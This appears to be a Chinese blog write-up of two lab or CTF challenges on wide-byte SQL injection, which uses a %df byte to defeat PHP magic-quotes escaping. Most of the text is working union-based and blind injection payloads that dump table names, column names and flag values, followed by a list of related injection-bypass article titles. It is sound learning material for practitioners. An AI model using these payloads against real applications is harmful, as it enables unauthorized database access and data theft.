宽字节注入——魔术引号的绕过
2020-06-07 04:33
85 查看
宽字节注入
原理:由于魔术引号函数的存在magic_quotes_gpc(开关),会自动在’ “ \等前面加上一个\导致sql语句闭合不了,这时候我们就需要输入一些字符,让数据库实现误判,让转义字符\和我们输入的语句组成一个新的汉字来闭合语句。第一题:
首先先在url栏输入’ and 1=2 %23
发现页面并没有变化,可能存在魔术引号,于是我在’前面添加一个%df重新输入代码
%df' and 1=2 --qwe
没有显示查询结果,于是判定为它的回显
接着,我们可以使用盲注的方法,先查询它的数据库名字长度,输入代码
%df' and length(database())>7 -- qwe
的时候的还有数据,但是输入
%df' and length(database())>8 -- qwe
就没有数据了,判定它的数据库长度是8个字节长
但是,我突然发现下面查询结果有字段名显示,于是我们直接查询数据库名,我们再尝试使用这串代码
%df' union select 1,database(),3 -- qwe
直接获取数据库名
接下来,就是简单的显错注入了,直接查询字段名,输入代码
%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe
查询到的表名:china_flag,user
继续查列名:但是由于存在魔术引号,我们需要把表名写成16进制
Id,C_Flag
输入代码
%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x6368696e615f666c6167 -- qwe
最后直接查flag
%df' union select 1,2,(select group_concat(C_flag) from china_flag)-- qwe
zKaQ-Wide,zKaQ-CAIK,zKaQ-Kzj+mz
第二题:
靶场地址
我们先尝试了一下万能密码
') or 1=1 -- qwe
在username输入代码
a') or 1=1 -- qwe
同时用抓包工具抓住
同时,修改Hex里的数据把代表a的61修改成df去和\组成一个字符
再放包
页面没有显示数据,代表我们输入的语句得到了执行,同时判定了它的回显是没数据,存在宽字节注入
于是,我们只能通过盲注
输入代码
汉') or length(database())>5 -- qwe
一直到
汉') or length(database())=8 -- qwe
判定数据库长度为8个字节
继续输入代码:
汉') or ascii(substr(database(),1,1))>90 -- qwe
逐个跑出数据库名
但是由于我们接下来不需要得到数据库名字,所以直接省略
我们继续输入代码,查询第一个表名的长度
汉') or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>10 -- qwe
依次找出所有表名china_flag
继续查字段名:
汉') or ascii(substr((select column_name from information_schema.columns where table_name=0x6368696e615f666c6167 limit 0,1),1,1))>10 -- qwe
查字段名
得出字段名第一个字符串ascii码值 是67
其他的几个字符以此类推
得出字段名 C_Flag
最后查数据
输入代码
汉') or ascii(substr((select C_Flag from china_flag limit 0,1),1,1))>10 -- qwe
得出flag
zKaQ-Kzj+mz
相关文章推荐
- char函数绕过魔术引号注入
- SQL注入中绕过 单引号 限制继续注入
- SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用
- SQL注入中绕过 单引号 限制继续注入
- 过狗菜刀原理以及绕过魔术引号的配置
- 魔术引号、addslashes和mysql_real_escape_string的防御以及绕过
- 关于魔术引号、addslashes() 和mysql防注入。(整理)
- PHP函数 addslashes() 和 mysql_real_escape_string() 的区别 && SQL宽字节,绕过单引号注入攻击
- 如何绕过防止注入的链接
- 绕过MSSQL防注入的一些解决办法
- web渗透-SQL防注入与注入绕过
- 编写不受魔术引号影响的php应用
- 几种注入绕过技巧(持续更新)
- 如何绕过防注入
- 用Kali Linux动态shellcode注入工具:Shellter 4.0 绕过反病毒软件
- PHP表单提交后引号前自动加反斜杠的原因及三种办法关闭php魔术引号
- 关于SQL宽字节注入的学习
- [VC] - 绕过主动防御的代码注入方法思考
- SQL注入——布尔盲注,时间盲注,宽字节注入
- 使用sqlmap 绕过防火墙进行注入测试